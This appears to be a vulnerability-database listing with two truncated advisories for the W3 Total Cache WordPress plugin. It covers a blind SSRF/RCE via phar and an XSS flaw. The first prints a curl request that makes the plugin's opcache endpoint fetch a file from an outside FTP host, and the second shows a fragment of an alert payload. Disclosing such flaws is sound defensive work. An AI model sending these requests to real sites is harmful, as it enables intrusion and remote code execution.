W3 Total Cache <= 0.9.7.3 - Blind SSRF and RCE via phar

The implementation of opcacheflushfile calls fileexists with a parameter fully controlled by the user. curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flushfile&file=ftp://y.y.y.y:zzzz/' Note: The nonce value is given ...

W3 Total Cache <= 0.9.7.3 - Cross-Site Scripting (XSS)

The W3 Total Cache WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability. alert1"...